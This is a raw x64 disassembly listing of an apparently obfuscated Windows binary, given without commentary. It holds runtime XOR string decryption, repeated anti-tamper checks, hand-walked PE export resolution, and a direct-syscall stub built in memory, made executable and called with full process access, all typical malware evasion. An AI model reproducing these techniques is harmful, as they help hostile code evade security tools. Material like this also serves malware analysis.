mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024732
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024752
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x1400247fc
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400247dc
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400247dc
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400247fc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
call fcn.14008e850
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.140030b00
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x1400248d9
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x32c09527
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400248b9
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400248b9
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400248d9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x140024983
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024963
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024963
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024983
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x140024a2d
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024a0d
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024a0d
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024a2d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x140024aea
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x32c09527
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024aca
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024aca
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024aea
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x140024b94
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024b74
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024b74
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024b94
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov qword [rbp + 0xe58], r15
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x140024c45
mov rax, qword gs:[0x13]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024c25
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024c25
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024c45
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x140024cef
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024ccf
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024ccf
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024cef
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.140030098
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x140024dd6
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x99c26a5
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x32c09527
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024db6
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024db6
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024dd6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov edi, r15d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x1400250d4
xor r14d, r14d
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x140024e97
mov rax, qword gs:[0x13]
movabs rcx, 0xfec17db8b17547b5
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025187
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025187
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140025187
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.14001fe70
mov r15d, eax
mov rcx, qword gs:[0x31]
mov r8d, 0xb8e53625
cmp rcx, rsi
jne 0x140024f49
mov rcx, qword gs:[0x13]
xor rcx, r8
mov qword [rbp + 0x1070], rcx
mov rcx, qword gs:[0x13]
xor rcx, r8
mov qword [rbp + 0x1078], rcx
mov rcx, qword gs:[0x13]
xor rcx, r8
mov qword [rbp + 0x1080], rcx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x1400251a7
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x1400251a7
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x1400251a7
test r15d, r15d
jne 0x140025207
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x140024ffd
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x99c26a5
div rcx
mov qword [rbp + 0x1050], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x32c09527
div rcx
mov qword [rbp + 0x1058], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0x1060], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x1400251c7
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x1400251c7
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x1400251c7
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x1400250b1
mov rax, qword gs:[0x13]
xor rax, r8
mov qword [rbp + 0xf60], rax
mov rax, qword gs:[0x13]
xor rax, r8
mov qword [rbp + 0xf68], rax
mov rax, qword gs:[0x13]
xor rax, r8
mov qword [rbp + 0xf70], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x1400251e7
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x1400251e7
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x1400251e7
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x140024df7
xor r15d, r15d
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x14002eed3
mov rax, qword gs:[0x13]
mov ecx, 0xb8e53625
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025167
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025167
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002eed3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.140095818
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0x4ebb9a7c
mov dword [rbp + 0x214], 0xa9d32c12
mov dword [rbp + 0x218], 0xbc80cc7c
mov word [rbp + 0x21c], gethostname
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x1545644e4
movabs r9, 0x1148617fa1
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x2290c2ff42
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x210], dil
inc r8
add r9, r12
add r10, 0xd
cmp r9, r11
jb 0x1400252aa
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0x191b7907
mov dword [rbp + 0x84], 0x7edaac9f
mov word [rbp + 0x88], 0xe2
mov r8, r14
movabs r9, 0xbf7086c0d
mov r10d, 9
movabs r11, 0x17ee10d81a
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x80]
xor dil, r8b
mov byte [rbp + r8 + 0x80], dil
inc r8
add r9, r12
add r10, 9
cmp r9, r11
jb 0x140025348
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x1400255d9
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400255d9
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400255d9
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400255d9
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x1400255d9
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002544b
inc rax
test edi, edi
jne 0x140025436
test r8d, r8d
je 0x14002545d
inc rdx
cmp rdx, rsi
jb 0x140025425
jmp 0x1400255d9
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400255d9
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x1400255d6
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.14008e850
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.140030b00
lea rcx, [rbp + 0x7420]
call fcn.140030098
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.140030098
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x1400254eb
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400b82d0
mov dword [0x1400e2b04], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400e2b00]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e2b08]
mov word [rdi + 8], ax
mov al, byte [0x1400e2b0a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400b8970
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400e2b04], r14d
test edi, edi
js 0x1400255ec
jmp 0x1400255d9
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x140025602
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.14001f938
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
mov ebx, 0x6f1d50f3
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x31]
ja 0x14002eb42
cmp rax, rbx
jne 0x1400256c9
mov rax, qword gs:[0x13]
movabs rsi, 0xfec17db8b17547b5
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400256a9
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400256a9
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400256c9
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
movdqa xmm0, xmmword [0x1400d6fc0]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1400d6f80]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0xb6005b3b
mov word [rbp + 0xbc4], 0x2348
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
movabs rsi, 0x1545644e4
lea r10d, [rax + 0x26]
movabs r9, 0x3284ce39fe
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xba0], dil
inc r8
add r9, r12
add r10, 0x26
movabs rax, 0x65099c73fc
cmp r9, rax
jb 0x140025729
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.140001b0c
mov rax, qword gs:[0x31]
cmp rax, rbx
movabs rsi, 0xfec17db8b17547b5
mov r15d, 0x99c26a5
jne 0x140025870
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x32c09527
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025850
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025850
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025870
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140095818
int3
call fcn.14001fb98
mov rcx, qword gs:[0x31]
test al, al
jne 0x140025c04
cmp rcx, rbx
jne 0x140025927
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025907
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025907
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025927
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
movdqa xmm0, xmmword [0x1400d7140]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], reloc.WLDAP32.dll_Ordinal_35
mov r10, r14
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1699ba9335
movabs r9, 0x2d3375266a
movabs r13, 0x1545644e4
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3e0], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140025971
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x1400d71b0]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x1400d6e80]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
movabs rbx, 0x526ce4af76
mov r9d, Ordinal_33
movabs r10, 0x29367257bb
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xaf8], dil
inc r8
add r10, r12
add r9, 0x1f
cmp r10, rbx
jb 0x140025a12
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x31]
mov ebx, 0x6f1d50f3
cmp rax, rbx
jne 0x140025b43
mov rax, qword gs:[0x13]
mov ecx, 0xb8e53625
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025b23
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025b23
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025b43
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, rbx
jne 0x14002f4ec
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x32c09527
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025be4
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025be4
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f4ec
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
cmp rcx, rbx
jne 0x140025cb8
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x32c09527
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025c98
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025c98
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025cb8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
movdqa xmm0, xmmword [0x1400d7080]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rsi, 0x1545644e4
movabs r9, 0x1545644e50
lea r10d, [rax + 0x10]
movabs r11, 0x2a8ac89ca0
movabs r15, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x248], dil
inc r8
add r9, r12
add r10, 0x10
cmp r9, r11
jb 0x140025cff
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.14001f988
mov rax, qword gs:[0x31]
cmp rax, rbx
movabs rsi, 0xfec17db8b17547b5
jne 0x140025e23
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025e03
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025e03
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025e23
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140095818
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
